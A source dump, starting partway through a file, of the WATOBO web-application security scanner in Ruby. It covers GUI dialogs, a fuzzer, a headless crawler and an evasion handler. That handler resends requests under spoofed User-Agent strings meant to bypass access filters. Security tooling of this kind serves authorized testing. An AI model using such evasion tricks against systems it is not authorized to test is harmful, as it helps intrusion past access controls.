Watobo::EvasionHandlers 2 | class UserAgent < EvasionHandlerBase 3 | 4 | prio 4 5 | 6 | BYPASS_USER_AGENTS = %w( 7 | Nacos-Server 8 | Authorized 9 | Debug 10 | Internal 11 | AutodiscoverClient 12 | Windows-Update-Agent 13 | MicrosoftBITS 14 | ) 15 | 16 | BYPASS_USER_AGENTS << 'Report Runner' 17 | BYPASS_USER_AGENTS << "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3)" 18 | 19 | def run(request, &block) 20 | puts "! run evasion #{self}" if $DEBUG 21 | BYPASS_USER_AGENTS.each { |agent| 22 | test = request.clone 23 | test.setHeader('User-Agent', agent) 24 | yield test 25 | } 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /lib/watobo/evasions/evasion_base.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module EvasionHandlers 3 | class EvasionHandlerBase 4 | 5 | def self.prio(prio) 6 | @prio = prio 7 | end 8 | 9 | def prio 10 | self.class.instance_variable_get("@prio") || 10 11 | end 12 | 13 | def run 14 | raise "run method must be set by EvasionHandler" 15 | end 16 | 17 | def name 18 | self.class.to_s.gsub(/^.*::/, '') 19 | end 20 | 21 | end 22 | end 23 | end -------------------------------------------------------------------------------- /lib/watobo/external/diff/lcs/array.rb: -------------------------------------------------------------------------------- 1 | #! /usr/env/bin ruby 2 | #-- 3 | # Copyright 2004 Austin Ziegler 4 | # adapted from: 5 | # Algorithm::Diff (Perl) by Ned Konz 6 | # Smalltalk by Mario I. Wolczko 7 | # implements McIlroy-Hunt diff algorithm 8 | # 9 | # This program is free software. It may be redistributed and/or modified under 10 | # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the 11 | # Ruby licence. 12 | # 13 | # $Id: array.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ 14 | #++ 15 | # Includes Diff::LCS into the Array built-in class. 16 | 17 | require 'diff/lcs' 18 | 19 | class Array 20 | include Diff::LCS 21 | end 22 | -------------------------------------------------------------------------------- /lib/watobo/external/diff/lcs/block.rb: -------------------------------------------------------------------------------- 1 | #! /usr/env/bin ruby 2 | #-- 3 | # Copyright 2004 Austin Ziegler 4 | # adapted from: 5 | # Algorithm::Diff (Perl) by Ned Konz 6 | # Smalltalk by Mario I. Wolczko 7 | # implements McIlroy-Hunt diff algorithm 8 | # 9 | # This program is free software. It may be redistributed and/or modified under 10 | # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the 11 | # Ruby licence. 12 | # 13 | # $Id: block.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ 14 | #++ 15 | # Contains Diff::LCS::Block for bin/ldiff. 16 | 17 | # A block is an operation removing, adding, or changing a group of items. 18 | # Basically, this is just a list of changes, where each change adds or 19 | # deletes a single item. Used by bin/ldiff. 20 | class Diff::LCS::Block 21 | attr_reader :changes, :insert, :remove 22 | 23 | def initialize(chunk) 24 | @changes = [] 25 | @insert = [] 26 | @remove = [] 27 | 28 | chunk.each do |item| 29 | @changes << item 30 | @remove << item if item.deleting? 31 | @insert << item if item.adding? 32 | end 33 | end 34 | 35 | def diff_size 36 | @insert.size - @remove.size 37 | end 38 | 39 | def op 40 | case [@remove.empty?, @insert.empty?] 41 | when [false, false] 42 | '!' 43 | when [false, true] 44 | '-' 45 | when [true, false] 46 | '+' 47 | else # [true, true] 48 | '^' 49 | end 50 | end 51 | end 52 | -------------------------------------------------------------------------------- /lib/watobo/external/diff/lcs/string.rb: -------------------------------------------------------------------------------- 1 | #! /usr/env/bin ruby 2 | #-- 3 | # Copyright 2004 Austin Ziegler 4 | # adapted from: 5 | # Algorithm::Diff (Perl) by Ned Konz 6 | # Smalltalk by Mario I. Wolczko 7 | # implements McIlroy-Hunt diff algorithm 8 | # 9 | # This program is free software. It may be redistributed and/or modified under 10 | # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the 11 | # Ruby licence. 12 | # 13 | # $Id: string.rb,v 1.3 2004/08/08 20:33:09 austin Exp $ 14 | #++ 15 | # Includes Diff::LCS into String. 16 | 17 | class String 18 | include Diff::LCS 19 | end 20 | -------------------------------------------------------------------------------- /lib/watobo/externals.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/external/diff/lcs' 2 | require 'watobo/external/diff/lcs/hunk' 3 | require 'watobo/external/diff/lcs/callbacks' 4 | require 'watobo/external/diff/lcs/block' 5 | require 'watobo/external/diff/lcs/change' 6 | 7 | #require 'watobo/external/ntlm/ntlm' 8 | -------------------------------------------------------------------------------- /lib/watobo/framework.rb: -------------------------------------------------------------------------------- 1 | %w( init init_modules create_project license_text load_chat ).each do |lib| 2 | require File.join( "watobo", "framework", lib) 3 | end 4 | 5 | 6 | -------------------------------------------------------------------------------- /lib/watobo/framework/license_text.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | 4 | LICENSE =<<'EOF' 5 | Copyright 2017 by siberas, http://www.siberas.de 6 | 7 | Disclaimer: You should only use WATOBO to perform 8 | vulnerability audits of your own web applications or 9 | those you are authorized to do so. siberas takes no 10 | responsibility if you use it for unlawful purposes. 11 | 12 | WATOBO is free software; you can redistribute it and/or 13 | modify it under the terms of the GNU General Public 14 | License as published by the Free Software Foundation 15 | version 2 of the License. 16 | 17 | WATOBO is distributed in the hope that it will be useful, 18 | but WITHOUT ANY WARRANTY; without even the implied 19 | warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR 20 | PURPOSE. See the GNU General Public License for more 21 | details. 22 | 23 | You should have received a copy of the GNU 24 | General Public License along with WATOBO; if not, 25 | write to the Free Software Foundation, Inc., 51 26 | Franklin St, Fifth Floor, Boston, MA 02110-1301 27 | USA 28 | EOF 29 | 30 | end -------------------------------------------------------------------------------- /lib/watobo/framework/load_chat.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | def self.load_chat(project, session, chat_id) 4 | path = File.join Watobo.workspace_path, project.to_s, session.to_s, Watobo::Conf::Datastore.conversations 5 | unless File.exist? path 6 | puts "Could not find conversation path for #{project}/#{session} in #{Watobo.workspace_path}" 7 | return nil 8 | end 9 | chat_file = "#{chat_id}-chat.yml" 10 | chat = Watobo::Utils.loadChatYAML File.join(path, chat_file) 11 | puts chat.class 12 | chat 13 | 14 | end 15 | end -------------------------------------------------------------------------------- /lib/watobo/gui/confirm_scan_dialog.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/gui/conversation_table' 2 | 3 | # @private 4 | module Watobo#:nodoc: all 5 | module Gui 6 | class ConfirmScanDialog < FXDialogBox 7 | 8 | include Responder 9 | 10 | attr :scope 11 | def onAccept(sender, sel, event) 12 | 13 | getApp().stopModal(self, 1) 14 | self.hide() 15 | return 1 16 | end 17 | 18 | def initialize(owner, chatlist, scan_settings={}) 19 | super(owner, "Confirm Scan", DECOR_ALL, :width => 500, :height => 400) 20 | 21 | FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) 22 | 23 | base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) 24 | FXLabel.new(base_frame, "The following #{chatlist.length} chats will be scanned:") 25 | 26 | # @chatTable = ConversationTable.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) 27 | puts chatlist.length 28 | @chatTable = ConversationTable.new(base_frame) 29 | @chatTable.showConversation(chatlist) 30 | 31 | buttons_frame = FXHorizontalFrame.new(base_frame, 32 | :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) 33 | 34 | @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) 35 | @finishButton.enable 36 | @finishButton.connect(SEL_COMMAND) do |sender, sel, item| 37 | #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) 38 | self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) 39 | end 40 | 41 | @cancelButton = FXButton.new(buttons_frame, "Cancel" , 42 | :target => self, :selector => FXDialogBox::ID_CANCEL, 43 | :opts => BUTTON_NORMAL|LAYOUT_RIGHT) 44 | 45 | end 46 | end 47 | end 48 | end 49 | -------------------------------------------------------------------------------- /lib/watobo/gui/edit_scope_dialog.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Gui 4 | class EditScopeDialog < FXDialogBox 5 | 6 | include Responder 7 | 8 | attr :scope 9 | def onAccept(sender, sel, event) 10 | 11 | Watobo::Scope.set @defineScopeFrame.getScope() 12 | 13 | getApp().stopModal(self, 1) 14 | self.hide() 15 | return 1 16 | end 17 | 18 | def initialize(owner, prefs) 19 | #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) 20 | super(owner, "Edit Target Scope", DECOR_ALL, :width => 350, :height => 425) 21 | 22 | @scope = Hash.new 23 | 24 | FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) 25 | 26 | base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) 27 | 28 | # puts "create scopeframe with scope:" 29 | # @project.scope 30 | @defineScopeFrame = DefineScopeFrame.new(base_frame, prefs) 31 | 32 | buttons_frame = FXHorizontalFrame.new(base_frame, 33 | :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) 34 | 35 | @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) 36 | @finishButton.enable 37 | @finishButton.connect(SEL_COMMAND) do |sender, sel, item| 38 | #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) 39 | self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) 40 | end 41 | 42 | @cancelButton = FXButton.new(buttons_frame, "Cancel" , 43 | :target => self, :selector => FXDialogBox::ID_CANCEL, 44 | :opts => BUTTON_NORMAL|LAYOUT_RIGHT) 45 | 46 | end 47 | end 48 | end 49 | end 50 | -------------------------------------------------------------------------------- /lib/watobo/gui/fuzzer.rb: -------------------------------------------------------------------------------- 1 | require_relative './fuzzer/fuzz_request_editor' 2 | 3 | require_relative './fuzzer/create_fuzzer_dlg' 4 | 5 | require_relative './fuzzer/fuzzer_gui' 6 | 7 | -------------------------------------------------------------------------------- /lib/watobo/gui/fuzzer/create_action_dlg.rb: -------------------------------------------------------------------------------- 1 | require_relative './action_select' 2 | 3 | module Watobo #:nodoc: all 4 | module Gui 5 | module Fuzzer 6 | class CreateActionDlg < FXDialogBox 7 | 8 | def getAction() 9 | return @actionSelection.createAction() 10 | end 11 | 12 | def initialize(owner) 13 | super(owner, "Create Action", DECOR_TITLE | DECOR_BORDER, :width => 300, :height => 500) 14 | main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) 15 | 16 | @actionSelection = ActionSelect.new(main, self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 17 | 18 | buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) 19 | # Accept 20 | accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 21 | 22 | # Cancel 23 | FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 24 | end 25 | end 26 | 27 | end 28 | end 29 | end -------------------------------------------------------------------------------- /lib/watobo/gui/fuzzer/create_filter_dlg.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Gui 4 | module Fuzzer 5 | class CreateFilterDlg < FXDialogBox 6 | 7 | def filter() 8 | return @filterFrame.selection() 9 | end 10 | 11 | def initialize(owner, project) 12 | super(owner, "Create Filter", DECOR_TITLE | DECOR_BORDER) 13 | main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 14 | 15 | @filterFrame = FilterFrame.new(main, project.getSidPatterns, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 16 | 17 | buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH, 18 | :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) 19 | # Accept 20 | accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, 21 | FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 22 | 23 | # Cancel 24 | FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, 25 | FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 26 | end 27 | end 28 | end 29 | end 30 | 31 | end -------------------------------------------------------------------------------- /lib/watobo/gui/fuzzer/create_generator_dlg.rb: -------------------------------------------------------------------------------- 1 | require_relative './fuzzer_gen_select' 2 | # @private 3 | module Watobo #:nodoc: all 4 | module Gui 5 | module Fuzzer 6 | class CreateGeneratorDlg < FXDialogBox 7 | 8 | 9 | def getGenerator(fuzzer) 10 | return @fuzzerSelection.createGenerator(fuzzer) 11 | end 12 | 13 | def initialize(owner) 14 | super(owner, "Create Generator", DECOR_TITLE | DECOR_BORDER) 15 | main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 16 | 17 | @fuzzerSelection = FuzzerGenSelect.new(main, self, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_NONE, :padding => 0) 18 | 19 | buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH, 20 | :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) 21 | # Accept 22 | accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, 23 | FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 24 | 25 | # Cancel 26 | FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, 27 | FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT | LAYOUT_CENTER_Y) 28 | end 29 | end 30 | end 31 | end 32 | end -------------------------------------------------------------------------------- /lib/watobo/gui/fxsave_thread.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | 3 | def self.save_thread(&block) 4 | if FXApp.instance.respond_to? :runOnUiThread 5 | FXApp.instance.runOnUiThread &block 6 | else 7 | FXApp.instance.addChore &block 8 | end 9 | end 10 | 11 | end -------------------------------------------------------------------------------- /lib/watobo/gui/log_file_viewer.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Gui 4 | class LogFileViewer < FXVerticalFrame 5 | 6 | include Watobo::Constants 7 | def show_logs 8 | begin 9 | @textbox.setText(Watobo.logs) 10 | rescue => bang 11 | puts "! Could not show logs" 12 | puts bang 13 | puts bang.backtrace if $DEBUG 14 | end 15 | end 16 | 17 | 18 | def initialize(parent, mode = nil, opts) 19 | opts[:padding]=0 20 | 21 | super(parent, opts) 22 | 23 | update_btn = FXButton.new(self, "Update",:opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND){ show_logs } 24 | frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) 25 | @textbox = FXText.new(frame, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_AUTOSCROLL|TEXT_READONLY) 26 | @textbox.editable = false 27 | show_logs 28 | 29 | end 30 | 31 | end 32 | 33 | end 34 | end -------------------------------------------------------------------------------- /lib/watobo/gui/mixins/events.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Gui 4 | module Events_UNUSED 5 | 6 | def self.extended(base) 7 | base.instance_variable_set('@event_dispatcher_listeners', {}) 8 | end 9 | 10 | def subscribe(event, &callback) 11 | (@event_dispatcher_listeners[event] ||= []) << callback 12 | end 13 | 14 | def clearEvents(event) 15 | @event_dispatcher_listeners[event] ||= [] 16 | @event_dispatcher_listeners[event].clear 17 | end 18 | 19 | def notify(event, *args) 20 | if @event_dispatcher_listeners[event] 21 | @event_dispatcher_listeners[event].each do |m| 22 | m.call(*args) if m.respond_to? :call 23 | end 24 | end 25 | end 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /lib/watobo/gui/mixins/gui_settings.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | 4 | # Mixin for easier settings handling 5 | # This mixin should be included in the base class of an object 6 | # Then it's possibe to reference it from within subclasses or modules 7 | module Settings 8 | 9 | module Saver 10 | 11 | def inner_filename=(fname) 12 | @@inner_filename=fname 13 | end 14 | 15 | def save(&block) 16 | s = self.to_h 17 | s = yield(s) if block_given? 18 | Watobo::Utils.save_settings(@@inner_filename, s) 19 | end 20 | 21 | def load() 22 | return false unless File.exist?(@@inner_filename) 23 | 24 | config = Watobo::Utils.load_settings(@@inner_filename) 25 | self.marshal_load config 26 | true 27 | end 28 | end 29 | 30 | def self.included(base) 31 | const_set('Settings', OpenStruct.new ) 32 | s = const_get('Settings') 33 | s.extend Saver 34 | 35 | stack = base.to_s.split('::') 36 | 37 | clazz_name = stack.pop 38 | grp_name = stack.pop 39 | 40 | subdir = grp_name.nil? ? '' : Watobo::Utils.snakecase(grp_name) 41 | cname = Watobo::Utils.snakecase(clazz_name) 42 | 43 | wd = Watobo.working_directory 44 | 45 | conf_dir = File.join(wd, 'conf') 46 | Dir.mkdir conf_dir unless File.exist? conf_dir 47 | 48 | grp_dir = File.join(conf_dir, subdir) 49 | Dir.mkdir grp_dir unless File.exist? grp_dir 50 | 51 | s.inner_filename = File.join(grp_dir, cname + '_settings.yml') 52 | s.load 53 | 54 | 55 | end 56 | end 57 | end -------------------------------------------------------------------------------- /lib/watobo/gui/tagless_viewer.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/gui/request_editor' 2 | # @private 3 | module Watobo#:nodoc: all 4 | module Gui 5 | class TaglessViewer < SimpleTextView 6 | def normalizeText(text) 7 | return '' if text.nil? 8 | 9 | raw_text = text 10 | 11 | if text.is_a? Array then 12 | raw_text = text.join 13 | end 14 | 15 | #remove headers 16 | body_start = raw_text.index("\r\n\r\n") 17 | body_start = body_start.nil? ? 0 : body_start 18 | #puts "* start normalizing at pos #{body_start}" 19 | normalized = raw_text[body_start..-1] 20 | # UTF-8 Clean-Up 21 | normalized = normalized.unpack("C*").pack("C*") 22 | # remove all inbetween tags 23 | normalized.gsub!(/<.*?>/m, '') 24 | # remove non printable characters, except LF (\x0a) 25 | r = Regexp.new '[\x00-\x09\x0b-\x1f\x7f-\xff]+', Regexp::NOENCODING # nil, 'n' 26 | normalized.gsub!( r,'') 27 | # remove empty lines 28 | normalized.gsub!(/((\x20+)?\x0a(\x20+)?)+/,"\n") 29 | # decode html entities for better readability 30 | normalized = CGI.unescapeHTML(normalized) 31 | # additionally unescape   which is not handled by CGI :( 32 | normalized.gsub!(/(#{Regexp.quote(' ')})+/," ") 33 | # finally strip it 34 | normalized.strip 35 | end 36 | 37 | def initialize(owner, opts) 38 | super(owner, opts) 39 | end 40 | end 41 | 42 | end 43 | end 44 | -------------------------------------------------------------------------------- /lib/watobo/gui/utils/load_icons.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Gui 4 | 5 | @@loaded_icons={} 6 | 7 | @icon_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", '..', '..', "icons")) 8 | 9 | 10 | def self.load_gui_icon(name) 11 | return nil if @icon_path.nil? 12 | icon = load_icon(File.join(@icon_path, name)) 13 | end 14 | 15 | def self.load_icon(filename) 16 | begin 17 | icon = nil 18 | # return icon if @application.nil? 19 | raise "Need FXApp Instance before loading icons! (e.g. FXAPP.new)" unless FXApp.instance 20 | 21 | #return @@loaded_icons[filename] if @@loaded_icons.has_key?(filename) 22 | #filename = 23 | File.open(filename, "rb") do |f| 24 | if filename.strip =~ /\.ico$/ then 25 | #icon = FXICOIcon.new(@application, f.read) 26 | icon = FXICOIcon.new(FXApp.instance, f.read) 27 | elsif filename.strip =~ /\.png$/ then 28 | icon = FXPNGIcon.new(FXApp.instance, f.read) 29 | elsif filename.strip =~ /\.gif$/ then 30 | icon = FXGIFIcon.new(FXApp.instance, f.read) 31 | end 32 | icon.create 33 | @@loaded_icons[filename] = icon 34 | end 35 | 36 | return icon 37 | rescue => bang 38 | puts "Couldn't load icon: #{filename}" 39 | puts bang 40 | end 41 | return nil 42 | end 43 | end 44 | end -------------------------------------------------------------------------------- /lib/watobo/gui/utils/save_project_settings.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/lib/watobo/gui/utils/save_project_settings.rb -------------------------------------------------------------------------------- /lib/watobo/gui/utils/save_scanner_settings.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Gui 4 | def self.save_scanner_settings() 5 | #puts "* saving scanner settings ..." 6 | #puts Watobo::Conf::Scanner.settings.to_yaml 7 | 8 | unless Watobo.project.nil? 9 | 10 | Watobo::Conf::Scanner.save_project(){ |s| 11 | # puts s.to_yaml 12 | s.delete(:scan_name) 13 | s 14 | } 15 | 16 | session_filter = [ :sid_patterns, :logout_signatures, :custom_error_patterns, :max_parallel_checks, :excluded_parms, :non_unique_parms ] 17 | Watobo::Conf::Scanner.save_session(session_filter) 18 | return true 19 | else 20 | Watobo::Conf::Scanner.save 21 | end 22 | end 23 | end 24 | end -------------------------------------------------------------------------------- /lib/watobo/headless.rb: -------------------------------------------------------------------------------- 1 | require 'selenium-webdriver' 2 | require 'uri' 3 | require 'watobo/headless/crawler' -------------------------------------------------------------------------------- /lib/watobo/headless/crawler.rb: -------------------------------------------------------------------------------- 1 | require_relative 'crawler/ctrl' 2 | require_relative 'crawler/collection' 3 | require_relative 'crawler/autofill' 4 | require_relative 'crawler/driver' 5 | require_relative 'crawler/href' 6 | require_relative 'crawler/click' 7 | require_relative 'crawler/trigger' 8 | require_relative 'crawler/href_collection' 9 | require_relative 'crawler/trigger_collection' 10 | require_relative 'crawler/stat' 11 | require_relative 'crawler/form' 12 | require_relative 'crawler/form_collection' -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/click.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class Click 5 | 6 | attr :css, :src 7 | 8 | def to_s 9 | @css 10 | end 11 | 12 | def fingerprint(opts = {}) 13 | o = { :clear_values => true } 14 | o.update opts 15 | 16 | Digest::MD5.hexdigest @css 17 | end 18 | 19 | def cleanup_uri(obj) 20 | uri = nil 21 | uri = obj.uri if obj.respond_to? :uri 22 | uri = URI.parse(obj) if obj.is_a? String 23 | uri = obj if obj.is_a? URI::HTTP 24 | uri 25 | end 26 | 27 | # @param src [String] url of click element 28 | # @param element [Webdriver::Element] to be clicked 29 | def initialize(src, element) 30 | @src = src 31 | 32 | tag_name = element.tag_name 33 | id = element.attribute('id') 34 | classes = element.attribute('class')&.split(' ') || [] 35 | 36 | # Build the CSS selector 37 | selector_parts = [tag_name] 38 | selector_parts << "##{id}" unless id.empty? 39 | classes.each { |class_name| selector_parts << ".#{class_name}" } 40 | @css = selector_parts.join 41 | 42 | end 43 | end 44 | end 45 | end 46 | end -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/collection.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class Collection < Array 5 | 6 | def fingerprint 7 | raise "needs to be defined" 8 | end 9 | 10 | def initialize() 11 | super 12 | end 13 | 14 | end 15 | end 16 | end 17 | end -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/form.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class Form 5 | 6 | attr :src, :method, :action, :form_class, :button 7 | 8 | def fingerprint 9 | s = [ src, method, action, ( button || '') ] 10 | Digest::MD5.hexdigest s.join('|') 11 | end 12 | 13 | # needed for stats output 14 | def to_s 15 | "[Form] #{method || 'POST'} #{action}" 16 | end 17 | 18 | 19 | # @param url [String] 20 | # @param attributes [Hash] of form attributes 21 | # @param button [String|nil] css_selector of button, css is created with form_collection.css(element) 22 | def initialize(url, attributes, button=nil) 23 | @src = url 24 | @method = attributes.fetch('method',nil) 25 | @action = attributes.fetch('action',nil) 26 | @form_class = attributes.fetch('class',nil) 27 | @button = button 28 | end 29 | end 30 | end 31 | end 32 | end -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/href_collection.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class HrefCollection < Collection 5 | 6 | def initialize(driver) 7 | super() 8 | # wait for DOM to have a-tags 9 | wait = Selenium::WebDriver::Wait.new(timeout: 5) 10 | wait.until { !driver.find_elements(:tag_name, 'a').empty? } 11 | sleep 0.3 12 | atags = driver.find_elements(:tag_name, 'a') 13 | 14 | url = driver.current_url 15 | 16 | # check if elements are still valid, they might be no longer present when DOM has changed 17 | # during loading phase 18 | atags = atags.select{|h| h.attribute('href') rescue nil } 19 | 20 | empty_atags = atags.select{|h| h.attribute('href').strip.empty? } 21 | non_valid_atags = atags.select{|h| !(URI.parse(h.attribute('href')).host rescue nil) } 22 | 23 | 24 | 25 | valids = atags.select{|h| h.attribute('href') rescue nil } 26 | valids.compact! 27 | 28 | clicks = empty_atags + non_valid_atags 29 | 30 | puts "Found #clicks: #{clicks.size}" 31 | 32 | self.concat valids.map { |h| Spider::Href.new(url, h) } 33 | self.concat clicks.map { |h| Spider::Click.new(url, h) } 34 | 35 | end 36 | end 37 | end 38 | end 39 | end -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/stat.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class Stat 5 | attr :resource, :duration 6 | 7 | def initialize(resource, duration) 8 | @resource = resource 9 | @duration = duration 10 | end 11 | end 12 | end 13 | end 14 | end 15 | -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/trigger.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class Trigger 5 | 6 | attr :script, :src, :tag_name, :html 7 | 8 | def to_s 9 | "[#{fingerprint}] #{src}: (#{tag_name}) #{script} * #{html}" 10 | end 11 | 12 | def fingerprint(opts={}) 13 | key = [ src, html ] 14 | Digest::MD5.hexdigest key.join(':') 15 | end 16 | 17 | 18 | 19 | def initialize(url, tag_name, html, script) 20 | @src = url 21 | @tag_name = tag_name 22 | @script = script 23 | @html = html 24 | 25 | end 26 | end 27 | end 28 | end 29 | end -------------------------------------------------------------------------------- /lib/watobo/headless/crawler/trigger_collection.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Headless 3 | class Spider 4 | class TriggerCollection < Collection 5 | 6 | def initialize(driver) 7 | super() 8 | 9 | url = URI.parse driver.current_url 10 | 11 | puts "### TRIGGER COLECTION ###" 12 | puts url 13 | # all = driver.find_elements(:xpath, './/*') 14 | all = driver.find_elements(:tag_name, 'button') 15 | all.concat driver.find_elements(css: '[type="button"]') 16 | all_attributes = {} 17 | all.each do |e| 18 | attrs = driver.execute_script("var items = {}; for (index = 0; index < arguments[0].attributes.length; ++index) { items[arguments[0].attributes[index].name] = arguments[0].attributes[index].value }; return items;", e); 19 | all_attributes[e] = attrs 20 | end 21 | 22 | all_attributes.each do |e, attrs| 23 | begin 24 | tag_name = e.tag_name 25 | 26 | #self << Trigger.new(url, tag_name, html, val) 27 | 28 | attrs.each do |k, val| 29 | # get element with 'on'-handlers, e.g. onclick, onmouseover, onerror 30 | 31 | if k =~ /^on/ 32 | html = e.attribute('outerHTML') 33 | # puts "#{url.path}: #{tag_name} : #{k} = #{val}" 34 | self << Trigger.new(url, tag_name, html, val) 35 | end 36 | end 37 | rescue => bang 38 | puts bang 39 | puts bang.backtrace 40 | binding.pry if $DEBUG 41 | end 42 | end 43 | 44 | end 45 | end 46 | end 47 | end 48 | end -------------------------------------------------------------------------------- /lib/watobo/http.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/http/data/base' 2 | require 'watobo/http/data/data' 3 | require 'watobo/http/data/json' 4 | require 'watobo/http/data/xml' 5 | require 'watobo/http/data/multipart' 6 | 7 | require 'watobo/http/url/url' 8 | 9 | require 'watobo/http/cookies/cookies' 10 | require 'watobo/http/headers/headers' 11 | -------------------------------------------------------------------------------- /lib/watobo/http/data/base.rb: -------------------------------------------------------------------------------- 1 | module Watobo#:nodoc: all 2 | module HTTPData 3 | class Base 4 | def to_s 5 | s = @root.body.nil? ? "" : @root.body 6 | end 7 | 8 | def parameters2 9 | [] 10 | end 11 | 12 | def has_parm2? 13 | false 14 | end 15 | 16 | def clear 17 | @root.set_body '' 18 | end 19 | 20 | def set2(p) 21 | false 22 | end 23 | 24 | def initialize(root) 25 | @root = root 26 | end 27 | end 28 | end 29 | end 30 | -------------------------------------------------------------------------------- /lib/watobo/http/data/data.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module HTTPData 4 | class WWW_Form < Base 5 | def set(parm) 6 | if has_parm?(parm.name) 7 | @root.replace_post_parm(parm.name, parm.value) 8 | else 9 | 